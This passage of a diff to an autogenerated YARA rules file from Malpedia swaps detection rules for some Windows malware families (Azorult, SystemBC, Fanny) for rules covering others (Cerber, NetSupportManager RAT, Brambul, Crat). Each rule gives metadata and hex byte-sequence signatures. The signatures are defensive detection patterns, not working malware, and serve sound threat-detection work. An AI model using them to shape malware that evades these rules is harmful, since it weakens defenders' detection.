$sequence_76 = { 83c408 eb18 81ff01030000 7d10 53 53 } - $sequence_77 = { 7420 8b4de0 83c101 894de0 817de014010000 } + $sequence_0 = { 48 8d0d628bfaff ff15???????? 48 8d05158bfaff 83fe01 48 } + $sequence_1 = { e8???????? 48 89442428 4c 8d05a724fcff 4c } + $sequence_2 = { ff15???????? 83f8ff 7508 ff15???????? 8bd8 4c 8b8608010000 } + $sequence_3 = { 8bd9 48 8901 f6c201 740a ba38000000 e8???????? } + $sequence_4 = { 8b7c2460 49 63e8 48 03ea 44 8b3f } + $sequence_5 = { 8bc0 c1e010 c1e910 0bc8 41 c1e810 0fb6432f } + $sequence_6 = { eb44 48 8b4c2420 e8???????? 48 8bf8 48 } + $sequence_7 = { f20f59d3 48 03c2 48 ba00803ed5 deb19d014803 c28944 } + $sequence_8 = { 41 5e c3 48 896c2430 48 897c2440 } + $sequence_9 = { 8bf9 0f84be000000 48 895c2430 48 89742438 48 } condition: - 7 of them and filesize < 712704 + 7 of them and filesize < 1040384 } -rule MALPEDIA_Win_Ghost_Secret_Auto : FILE +rule MALPEDIA_Win_Cerber_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "25fa3485-ffb3-5411-9ac6-ae7f05225e3c" + id = "4c9d39f2-1f37-54c9-9401-1cacb9319069" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_secret" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ghost_secret_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cerber" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cerber_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "80ab2d045d82b27f499fbd18dbe91dc4f32ae725e1e1075459fc83c90e8a3488" + logic_hash = "b9dc28e7f8f56d5aa5c92d6f0da2514b7004d6b05c357e6e1f8548cb64132bf7" score = 75 quality = 75 tags = "FILE" @@ -130084,32 +129968,32 @@ rule MALPEDIA_Win_Ghost_Secret_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 83c408 50 56 ff15???????? 8d8c24a4050000 6a13 } - $sequence_1 = { c68424eb02000040 c68424ec02000017 c68424ed02000034 c68424ee020000da c68424ef020000f8 c68424f002000003 c68424f1020000c7 } - $sequence_2 = { 85c0 55 7518 68beb60000 e8???????? 83c408 5f } - $sequence_3 = { c68424c8070000a6 c68424c9070000c9 c68424ca0700004e c68424cb07000072 c68424cc07000008 c68424cd070000dc c68424ce0700007b } - $sequence_4 = { 6689442460 50 8b44247c c744242400000000 50 6a00 } - $sequence_5 = { c684243e04000031 c684243f040000cb c68424400400006c c68424410400006c c684244204000075 } - $sequence_6 = { 8d54244c 57 52 50 ff15???????? 85c0 } - $sequence_7 = { 75dc 5f 5e 5d b890f0ffff 5b c3 } - $sequence_8 = { c68424b7070000d1 c68424b40400004b 888c24b5040000 c68424b60400007e c68424b704000049 c68424b80400006e c68424b904000070 } - $sequence_9 = { 8b440e08 83f809 0f87cf000000 ff248520ae4000 6a07 8d542444 e9???????? } + $sequence_0 = { 8345fc04 8901 ff45f8 8b45f8 } + $sequence_1 = { 8b5508 2bd7 8955f4 8975fc } + $sequence_2 = { 59 84c0 7413 8b450c 56 ff7508 8b7510 } + $sequence_3 = { 833c8100 7505 85c0 75f1 c3 40 } + $sequence_4 = { 8b550c 8b4510 b900100000 2b8e7c3b0000 33db 2b55fc 1bc3 } + $sequence_5 = { 7709 39450c 0f86dc000000 8b550c 8b4510 } + $sequence_6 = { 6a00 50 e8???????? 8b4df0 83c40c 85c9 7e58 } + $sequence_7 = { 7433 8b7d0c 8b5508 2bd7 8955f4 8975fc } + $sequence_8 = { 762e 85d2 7838 8b4508 8b04b8 83651400 837d1420 } + $sequence_9 = { 3b7d0c 72d2 85d2 780a } condition: - 7 of them and filesize < 278528 + 7 of them and filesize < 573440 } -rule MALPEDIA_Win_Onliner_Auto : FILE +rule MALPEDIA_Win_Netsupportmanager_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e266190c-77cd-5e00-b175-da1e4e33561c" + id = "13acdf1c-aae7-5f3b-a339-4a965b00f439" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.onliner" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.onliner_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netsupportmanager_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.netsupportmanager_rat_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "c9e55a1b6192aded12d9bdf9f70d961ece286b9f8d470b491a50250894e58dcc" + logic_hash = "3b964c7562d1d913c21c0e25b573efbe6d24c01cca1047333434d5efeafe733c" score = 75 quality = 75 tags = "FILE" @@ -130123,32 +130007,32 @@ rule MALPEDIA_Win_Onliner_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 8bf0 85f6 0f85ab000000 8b45f8 8945f4 e9???????? } - $sequence_1 = { 58 e8???????? 0f8436010000 a1???????? e8???????? 3c01 7412 } - $sequence_2 = { 058a4c2a8d ba14000000 e8???????? 03c7 8bf0 8bc7 33c6 } - $sequence_3 = { 8910 33c0 8ac3 8d448604 8b17 e8???????? 8b17 } - $sequence_4 = { e8???????? ff75ec 8b45fc e8???????? 0fb7c0 8d55e4 e8???????? } - $sequence_5 = { eb41 83c0bf 83e81a 7225 83c0fa 83e81a } - $sequence_6 = { 837df800 750f 8bc3 8b55fc e8???????? e9???????? 8b45f8 } - $sequence_7 = { 8bd7 e8???????? 8b0424 833800 742e 8b0424 } - $sequence_8 = { 8993b4010000 8d8398000000 e8???????? 8d9398000000 8b83b4010000 e8???????? 8bc3 } - $sequence_9 = { 8bcf 83e11f c1e106 8b048560f94c00 c644080401 57 e8???????? } + $sequence_0 = { e8???????? 8b4530 83c62c 3bf0 7516 8b4538 83c004 } + $sequence_1 = { ffd7 68???????? 56 894344 ffd7 8b7508 89431c } + $sequence_2 = { e9???????? 8d8d4cffffff e9???????? 8d8dacfeffff e9???????? 8d8d6cffffff e9???????? } + $sequence_3 = { e8???????? 83f82a 7520 ba???????? 85d2 7417 6877270000 } + $sequence_4 = { ffd7 8b4620 50 ff15???????? 8b4e24 5f 66c741080000 } + $sequence_5 = { 8dbe88000000 c745fc06000000 8b07 85c0 7403 50 ffd3 } + $sequence_6 = { ff15???????? 5f 33c0 5e c3 68???????? 56 } + $sequence_7 = { e8???????? 8b3d???????? 83c418 68???????? 56 ffd7 3bc3 } + $sequence_8 = { ff4020 8b7604 8b460c 85c0 740a 8b450c 85c0 } + $sequence_9 = { ff5254 83f8ff 0f8517020000 8b4514 8b16 50 57 } condition: - 7 of them and filesize < 1736704 + 7 of them and filesize < 4734976 } -rule MALPEDIA_Win_Systembc_Auto : FILE +rule MALPEDIA_Win_Pirpi_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9f869723-6075-5b32-a402-475b08d3e463" + id = "a7077df7-231e-50c6-a30a-b0c867545de5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.systembc_auto.yar#L1-L162" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pirpi" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pirpi_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "9ee9f5ea5ece65bf2a7fd4bf4633a524cd0ca65ce3683cb8ae8b66a7bc9315ba" + logic_hash = "e76dba310cd3f8d181253104bae884733437724bbd7b8a3e7170c860a0db32f8" score = 75 quality = 75 tags = "FILE" @@ -130162,40 +130046,34 @@ rule MALPEDIA_Win_Systembc_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { b000 ae 75fd 8a57fe } - $sequence_1 = { 8b7d0c 8b4d10 f3a4 5e } - $sequence_2 = { 33c0 ab 837d0c00 7403 ff47fc } - $sequence_3 = { e8???????? 8d5804 6a18 e8???????? 83c061 aa } - $sequence_4 = { 57 56 ff7508 e8???????? 8bd0 } - $sequence_5 = { 66837aff00 7502 eb2e 837d0cff 7518 837d1000 } - $sequence_6 = { c7049e00000000 b800000000 5e 5f 5b } - $sequence_7 = { 8b4514 ab 8b4518 ab b801000000 } - $sequence_8 = { 6a01 6a00 8b85bcfbffff 8b08 8b5118 50 } - $sequence_9 = { c68573ffffff05 c68574ffffff01 c68575ffffff00 c68576ffffff01 48c78510ffffff01000000 } - $sequence_10 = { 4883c420 66c7474e0100 c6475101 c6477b00 4883ec40 } - $sequence_11 = { 0f858e010000 4883ec20 48c7c100000000 48c7c200000100 } - $sequence_12 = { 49c7c0faff0000 49c7c100000000 ff15???????? 4883c420 } - $sequence_13 = { e8???????? 4883c420 4883ec20 488d8e88010000 488d55b0 } - $sequence_14 = { 4c8d474e 49c7c132000000 e8???????? 4883c420 488b4598 4883c01c 4883ec20 } - $sequence_15 = { 488b8d48f9ffff 498d1438 4c8bc0 49c7c100000000 } + $sequence_0 = { e8???????? 8bf8 8d4610 50 8d4c2424 6a0c } + $sequence_1 = { bf???????? 8bf0 33db c70200000000 f3a7 745c b904000000 } + $sequence_2 = { 0f849e000000 8d7c2434 83c9ff 33c0 f2ae f7d1 49 } + $sequence_3 = { 8bca 8b5510 83e103 52 f3a4 } + $sequence_4 = { 8b542404 57 85d2 c705????????00000000 7461 8bfa } + $sequence_5 = { 8bac24f0000000 8d7c241c 2beb 8b07 } + $sequence_6 = { 83fbff 742b b941000000 33c0 8d7c2420 85f6 f3ab } + $sequence_7 = { ff15???????? 8bf0 85f6 897508 7545 8b5d0c } + $sequence_8 = { 81ec10020000 8bd1 b940000000 33c0 57 8dbc2414010000 } + $sequence_9 = { 81c41c020000 c3 8bb42430020000 85f6 0f841dffffff b941000000 8d7c2420 } condition: - 7 of them and filesize < 75776 + 7 of them and filesize < 327680 } -rule MALPEDIA_Win_Skipper_Auto : FILE +rule MALPEDIA_Win_Brambul_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "efc6c970-e4f9-50aa-846f-5655368eb02c" + id = "4ed55462-e49e-50fe-a0d1-6f0e1f85cf77" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.skipper" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.skipper_auto.yar#L1-L422" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.brambul" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.brambul_auto.yar#L1-L172" license_url = "N/A" - logic_hash = "37baa21ea468db7e2c53f174ee34fcc7e3c9a0f2d929add42b329e84f24f9a81" + logic_hash = "938c39a82f375c34fe26abb1fc00229e1aa1c5407e38b617fd73b29996474592" score = 75 - quality = 50 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -130207,68 +130085,38 @@ rule MALPEDIA_Win_Skipper_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a00 6a00 6a03 68???????? 68???????? 6a50 } - $sequence_1 = { e8???????? 6804010000 e8???????? 6804010000 8bf8 } - $sequence_2 = { ff15???????? 6a00 6a00 6a00 6a00 68???????? 68???????? } - $sequence_3 = { b9???????? e8???????? 6a04 e8???????? 8bf8 57 } - $sequence_4 = { 320439 47 8847ff 4e 0f8568ffffff 8b4dfc } - $sequence_5 = { 8d95fcfeffff 03d0 8b85f8feffff 8a1a 0fb6c0 8d8dfcfeffff } - $sequence_6 = { 40 0fb60438 0fb6ca 03d8 03d9 81e3ff000080 7908 } - $sequence_7 = { 888405fcfeffff 40 3d00010000 7cf1 33db 33f6 } - $sequence_8 = { e8???????? 83c404 6a00 6a64 52 } - $sequence_9 = { 0fb645f8 8a8c05f0feffff 888deffeffff 0fb655fc 0fb645f8 } - $sequence_10 = { 48897c2420 4156 4881ec10010000 488b05???????? } - $sequence_11 = { 83c101 898ddcfeffff 8b95dcfeffff 3b5514 0f8dcf000000 8b45f8 83c001 } - $sequence_12 = { 488b05???????? 4833c4 4889842400010000 4c8b9c2440010000 33c9 } - $sequence_13 = { 0fb655fc 0fb645f8 8a8c15f0feffff 888c05f0feffff 0fb655fc 8a85effeffff 888415f0feffff } - $sequence_14 = { 8885eefeffff 8b4d10 038ddcfeffff 0fbe11 } - $sequence_15 = { 7d0d 41ffca 4181ca00ffffff 41ffc2 0fb6c1 } - $sequence_16 = { 888415f0feffff 0fb64df8 0fb6940df0feffff 0fb645fc 0fb68c05f0feffff 03d1 } - $sequence_17 = { 48 0d00ffffff 40 8945f8 8b4df8 0fb6940df0feffff } - $sequence_18 = { 41ffc8 4181c800ffffff 41ffc0 410fb6c0 } - $sequence_19 = { 450fb608 4803d0 0fb602 418800 44880a 410fb610 } - $sequence_20 = { 8d1492 03d2 2bc2 4863d0 420fb60432 } - $sequence_21 = { 0fb695e8feffff 8a85effeffff 888415f0feffff e9???????? } - $sequence_22 = { 488d1424 4c03c0 410fb6c2 450fb608 4803d0 0fb602 } - $sequence_23 = { 888deffeffff 0fb695e8feffff 8b85e0feffff 8a8c15f0feffff 888c05f0feffff 0fb695e8feffff } - $sequence_24 = { 492bfb ffc1 81e1ff000080 7d0a ffc9 } - $sequence_25 = { 83e61f c1e606 03348520b72300 8b45e4 } - $sequence_26 = { c78424a80000000f000000 c78424a400000000000000 c684249400000000 720f ffb424f4000000 e8???????? } - $sequence_27 = { 4883ec20 4863d9 488bf3 48c1fe05 4c8d3d32a50000 83e31f 486bdb58 } - $sequence_28 = { 33c5 8945fc 57 8d85f0feffff 50 } - $sequence_29 = { 488bcb 488bc3 488d15faa20000 48c1f805 } - $sequence_30 = { 8985d8feffff 6a00 6804010000 8d85f0feffff 50 8b8dd8feffff 51 } - $sequence_31 = { 7405 e8???????? 488b8ba0000000 488d05c3910000 483bc8 } - $sequence_32 = { 4885c0 7509 488d0543aa0000 eb04 4883c014 8938 e8???????? } - $sequence_33 = { 50 6a00 8b8dd4feffff 51 ff15???????? } - $sequence_34 = { 897e70 c686c800000043 c6864b01000043 c7466888a22300 } - $sequence_35 = { eb0a c785d4feffffffff1f00 8b4508 50 6a00 } - $sequence_36 = { 85f6 7447 8802 8b048d606d4100 } - $sequence_37 = { 741a 488d0579d80000 483bf8 740e 833f00 } - $sequence_38 = { 736b 488bdf 488bf7 48c1fe05 4c8d2537ae0000 83e31f } - $sequence_39 = { 6a00 8b85d8feffff 50 8b8dd0feffff 51 6a00 6a00 } - $sequence_40 = { 8b45f4 46 83fa03 750e 8b0c85606d4100 } - $sequence_41 = { 7367 4863d9 4c8d359aa40000 488bfb 83e31f } - $sequence_42 = { 488d0d86a30000 488bc2 83e21f 48c1f805 486bd258 488b04c1 } - $sequence_43 = { 59 8945e4 8b7508 c7465cd8812300 33ff } - $sequence_44 = { 8bd8 85f6 7478 8b45fc } - $sequence_45 = { 83ef80 83c410 8975f0 897dec 3bf3 } + $sequence_0 = { 8d4e03 2bee 8a01 8ad8 80e30f c0e804 } + $sequence_1 = { a3???????? 68???????? 68???????? e8???????? 83c408 50 } + $sequence_2 = { 8d8c2438020000 51 ff15???????? 8bac2428090000 83c9ff 8bfd } + $sequence_3 = { 33c0 8d94240c010000 f2ae f7d1 2bf9 6a00 8bc1 } + $sequence_4 = { 8b4c241c 40 3bc1 89442418 0f8cfefeffff 8b442414 } + $sequence_5 = { 83c40c 8b5514 833a00 0f84db000000 837decfe 0f8ed1000000 c745e401000000 } + $sequence_6 = { 8985a849ffff 8985c05dffff 8985c45dffff 8945f8 895df0 } + $sequence_7 = { 8b4002 8985b049ffff c785ac49ffff02000000 e9???????? f6c140 0f8428010000 f6c120 } + $sequence_8 = { 42 bf08000000 89542410 c6041600 85ed } + $sequence_9 = { 48 234508 8d0440 8d0441 0fb64801 } + $sequence_10 = { 8913 5f d3e7 3bc8 7316 } + $sequence_11 = { 46 6a00 8d849db84dffff 56 } + $sequence_12 = { 0f8e5b020000 68???????? 68???????? 8d54242c 68???????? 52 } + $sequence_13 = { 03f3 8bd9 8dbc379979825a 8bf7 } + $sequence_14 = { 81c404010000 c3 56 8d542414 68???????? } + $sequence_15 = { c1ee17 c1e709 0bf7 33ce 8bf9 33fa } condition: - 7 of them and filesize < 262144 + 7 of them and filesize < 188416 } -rule MALPEDIA_Win_Fast_Pos_Auto : FILE +rule MALPEDIA_Win_Hotwax_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "057c36f1-0a19-594b-99bb-5ac5d28c2830" + id = "8f2ed895-b1d8-5520-8ccc-967359fd3764" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fast_pos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fast_pos_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hotwax" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hotwax_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "bb07ee6c2efdd43c16301c1c39c93cc562e35ab0089f1712602de2983cb204bb" + logic_hash = "d7cd386e473b27344ee89ce7aa7064b521c3dfeec69fed7db0108e253da6990c" score = 75 quality = 75 tags = "FILE" @@ -130282,32 +130130,32 @@ rule MALPEDIA_Win_Fast_Pos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 8b7510 c745fc00000000 57 8bf9 85f6 792b } - $sequence_1 = { 50 68???????? 56 c7857cffffff01000000 e8???????? } - $sequence_2 = { ffb5e8feffff ff15???????? 85c0 7517 } - $sequence_3 = { 5d c20c00 81feffffff7f 7ecf eb33 8b49f0 } - $sequence_4 = { 8bec 8b4508 53 56 8bd9 8b30 } - $sequence_5 = { e8???????? 6a10 68???????? 68???????? 6a00 ff15???????? 6a00 } - $sequence_6 = { 6a64 8d4580 c745fc00000000 50 89b578ffffff c7857cffffff00000000 ff15???????? } - $sequence_7 = { 0f9485ebfeffff 83c2f0 83cfff 8bc7 8d4a0c f00fc101 48 } - $sequence_8 = { 56 c785e8feffff01000000 e8???????? 83c40c 8bc6 } - $sequence_9 = { e8???????? ff30 ff15???????? 8b95e4feffff 8bcf } + $sequence_0 = { 807d580a 4c8d05737dffff 740f eb07 4c8d05687dffff 448823 48ffc3 } + $sequence_1 = { 488d542448 488d8c2400020000 e8???????? 488b5c2448 85c0 740b ff15???????? } + $sequence_2 = { 4889842410030000 488bf9 488d8c2401020000 33d2 41b803010000 c684240002000000 } + $sequence_3 = { 488d15edd30000 488bcb 488905???????? ff15???????? 488d15bed30000 } + $sequence_4 = { 4533db 488d9424f0000000 41b803010000 44895c2440 4c895c2448 ff15???????? 833d????????00 } + $sequence_5 = { 486bd258 490394c1a04b0100 f6423880 742c } + $sequence_6 = { c785080500004c647247 c7850c05000065745072 c785100500006f636564 c7851405000075726541 c7851805000064647265 } + $sequence_7 = { 0f84da000000 488b9424b0000000 8bd8 410fb7f6 4803da 488d3c0a 488b0b } + $sequence_8 = { 488b0d???????? eb7c 4c8d256a830000 488b0d???????? eb6c e8???????? } + $sequence_9 = { 33c0 e9???????? 48895c2408 4c63c1 488d1d45770000 4d8bc8 } condition: - 7 of them and filesize < 327680 + 7 of them and filesize < 198656 } -rule MALPEDIA_Win_Fanny_Auto : FILE +rule MALPEDIA_Win_Curlback_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e9aa21a1-9e7c-5e0d-923d-00e6b6ec80ca" + id = "92c5ff94-7733-554e-9411-adf2e04e8882" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fanny" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fanny_auto.yar#L1-L171" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.curlback" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.curlback_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "b1e6181f341236f9aaf561cfa6c0c3a83917a87202fe2ed6a96ef4c3d3c432e2" + logic_hash = "5762a9ce8640933ae705745a803bbe43e75d1e28f524d7c7dfbc6bececc7a9c4" score = 75 quality = 75 tags = "FILE" @@ -130321,38 +130169,32 @@ rule MALPEDIA_Win_Fanny_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 8d4dd8 e8???????? 8b45b4 } - $sequence_1 = { 8b7d0c 8bf7 8b4508 3bc3 0f84b8020000 } - $sequence_2 = { a2???????? 8d45fc 50 8d45f0 a4 6a08 50 } - $sequence_3 = { 57 895df0 740b c1e809 894df4 c1e009 eb03 } - $sequence_4 = { 5d c3 66c78594fbffff6800 b903000000 8dbd90fbffff 8db5d0fbffff 33d2 } - $sequence_5 = { 8b4c2408 33f6 8901 8bc6 } - $sequence_6 = { 50 6808100000 56 ffd7 8b0d???????? } - $sequence_7 = { 83780c00 7422 8b4dfc 83790400 7419 8b55fc 837a0800 } - $sequence_8 = { e8???????? 8b45d0 50 8b4d08 51 } - $sequence_9 = { 894508 8b5510 83ea05 895510 eb09 } - $sequence_10 = { e9???????? 8b5508 0fb602 3d90000000 753b 8b4d08 } - $sequence_11 = { f3ab 66ab aa 8a4508 } - $sequence_12 = { 5b 5d c3 55 8bec 83ec2c 8065ff00 } - $sequence_13 = { 832700 6800800000 6a00 53 ff15???????? } - $sequence_14 = { 8b45fc 83c012 50 ffd3 8bf0 59 } - $sequence_15 = { 8913 751b c745fc01000000 ff33 ff15???????? } + $sequence_0 = { e8???????? 84c0 7420 488d153ac20c00 488bcb e8???????? eb0f } + $sequence_1 = { ba15000000 488bce e8???????? eb4c 488b5318 488bc8 e8???????? } + $sequence_2 = { 8bd8 85c0 752e 488b97a8080000 488d8f08130000 e8???????? 8bd8 } + $sequence_3 = { 85c0 7848 488b4550 488b08 488b5958 498bd6 488d8d88000000 } + $sequence_4 = { 7527 488b4c2460 4c8bc5 e8???????? 85c0 7516 488d15ac050b00 } + $sequence_5 = { 4883c908 498bc7 48894c2470 0fb6d1 48894590 eb14 b8f7ffffff } + $sequence_6 = { baffff0000 e8???????? 48899ec8010000 33c0 8983ac1c0000 488bce } + $sequence_7 = { e8???????? 894340 83f80d 742a 83f80b 0f8562050000 498bce } + $sequence_8 = { eb11 488b4308 488b08 48894ddf eb04 4c897def 48895db7 } + $sequence_9 = { 80bd2d13000000 7513 488bcd 85db 0f84a1000000 488bd3 e8???????? } condition: - 7 of them and filesize < 368640 + 7 of them and filesize < 4027392 } -rule MALPEDIA_Win_Thunderx_Auto : FILE +rule MALPEDIA_Win_Spyder_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2518ca7c-7e0a-565b-be3c-84d244188fab" + id = "3b0ab008-5fca-5304-bb77-2526da47aa2d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thunderx" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.thunderx_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spyder" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spyder_auto.yar#L1-L174" license_url = "N/A" - logic_hash = "4292a9f6c1d3812002d780fdcc81ab5726cfcf5e40c47b2cebcf85c542667c9b" + logic_hash = "12d22cf7781abc3ab19a5f3d98a04aaf02d5caaba80e64280fab23edd5e8d3b7" score = 75 quality = 75 tags = "FILE" @@ -130366,32 +130208,38 @@ rule MALPEDIA_Win_Thunderx_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 e8???????? 59 8d45b0 8bcf 50 e8???????? } - $sequence_1 = { 75f2 85c9 7509 3bc6 740b 83e802 ebd7 } - $sequence_2 = { 8bcb e8???????? 83c318 83c618 895de0 3bf7 75eb } - $sequence_3 = { 8b35???????? ffd6 ff75ec ffd6 b001 eb02 32c0 } - $sequence_4 = { 7462 8b44240c 3b05???????? 7556 8b442410 89442438 8b442414 } - $sequence_5 = { c3 6a54 b8???????? e8???????? 8bf9 897dac } - $sequence_6 = { 7415 ff15???????? 85c0 750b e8???????? 84c0 } - $sequence_7 = { 59 56 8bd0 885dfc 8d8d40feffff e8???????? 59 } - $sequence_8 = { e8???????? 8d8dc8fdffff e8???????? 8d8db0fdffff c645fc05 e8???????? } - $sequence_9 = { 8bfa 2b7d0c eb02 8bfe } + $sequence_0 = { 488d057a150000 488905???????? 488d0590200000 488905???????? 488d0576150000 488905???????? } + $sequence_1 = { 488bc8 ff15???????? 488d15385f0000 488bce 488905???????? ff15???????? } + $sequence_2 = { 4181f9000000c0 7532 4585d2 756e 488d4b04 4c8d05563e0000 } + $sequence_3 = { 4c8d05fc890000 498bd4 488bcd e8???????? 85c0 } + $sequence_4 = { 486bd258 488b04c1 488d4c1010 48ff25???????? 48895c2408 57 } + $sequence_5 = { 4c8bd8 488905???????? 4885c0 7422 488d15795e0000 488bce ff15???????? } + $sequence_6 = { 488d0d68a10000 e8???????? 488d1584a10000 488d0d75a10000 e8???????? 90 } + $sequence_7 = { 443bce 753c 4585d2 7537 488d4b04 4c8d05173e0000 418d5216 } + $sequence_8 = { 6803010000 f3ab 66ab aa 8d442414 50 } + $sequence_9 = { 8b4c2414 81e2ffff0000 25ffff0000 52 8b542416 } + $sequence_10 = { ff15???????? 5f 5e b801000000 5b 81c47c150000 c3 } + $sequence_11 = { 8bec 8b4508 ff348570370910 ff15???????? 5d } + $sequence_12 = { c1f805 8d3c85204b0910 8bc3 83e01f } + $sequence_13 = { 8944241a 66895c2410 668944241e ff15???????? 8b542418 8b442416 } + $sequence_14 = { f3ab 8b8c248c150000 8d942488010000 66ab aa 8d842490150000 } + $sequence_15 = { b918000000 33c0 8d7c2431 885c2430 } condition: - 7 of them and filesize < 319488 + 7 of them and filesize < 1458176 } -rule MALPEDIA_Win_Azorult_Auto : FILE +rule MALPEDIA_Win_Crat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a0ff14cf-728e-57b5-b780-187246815def" + id = "6875ef99-cb78-5d35-8902-45286f9925fd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.azorult_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crat_auto.yar#L1-L176" license_url = "N/A" - logic_hash = "b964bdc09887e46f350cee1282648afbe20db6ec0890aa267b03a312df1100f6" + logic_hash = "6a558eedfed48b48235f564ba72a779c4c350ad31cd93998f4d10b79b9d23f07" score = 75 quality = 75 tags = "FILE" @@ -130405,32 +130253,39 @@ rule MALPEDIA_Win_Azorult_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8901 8bc1 c7410410000000 5d c20400 55 8bec } - $sequence_1 = { ff15???????? 8b4dc8 8bd1 81e20000ff00 8bc1 c1e810 0bd0 } - $sequence_2 = { 83c410 5e c9 c3 55 8bec 81eccc060000 } - $sequence_3 = { 8d9adcbc1b8f 8b702c 03d9 337018 8bcf } - $sequence_4 = { 6a00 6a00 ff7508 ff7510 ff15???????? 85ff 7405 } - $sequence_5 = { e8???????? 84c0 0f8444010000 8d45d8 50 8d4dfc e8???????? } - $sequence_6 = { 83fa04 1bc0 83e004 8b443814 d3e8 884415f8 42 } - $sequence_7 = { 68???????? 680000baba 50 50 e8???????? a1???????? 85c0 } - $sequence_8 = { c3 55 8bec 81ec2c020000 56 8d85d8fdffff 33f6 } - $sequence_9 = { 80f920 74f4 80f97d 750c 8d4201 8907 8bc3 } + $sequence_0 = { e8???????? 488bd0 488d8d78010000 e8???????? 90 } + $sequence_1 = { 488bd0 488d8d38030000 e8???????? 90 } + $sequence_2 = { e8???????? 488bd0 488d8d28010000 e8???????? 90 } + $sequence_3 = { e8???????? 488bd0 488d4d90 e8???????? 90 488bd0 } + $sequence_4 = { e8???????? 488bd0 488d8db8000000 e8???????? 90 } + $sequence_5 = { e8???????? 488bd0 488d8d40010000 e8???????? 90 } + $sequence_6 = { e8???????? 488bd0 488d8de8000000 e8???????? 90 } + $sequence_7 = { ebd0 498bc4 48833d????????10 480f4305???????? 482bc8 } + $sequence_8 = { 33d2 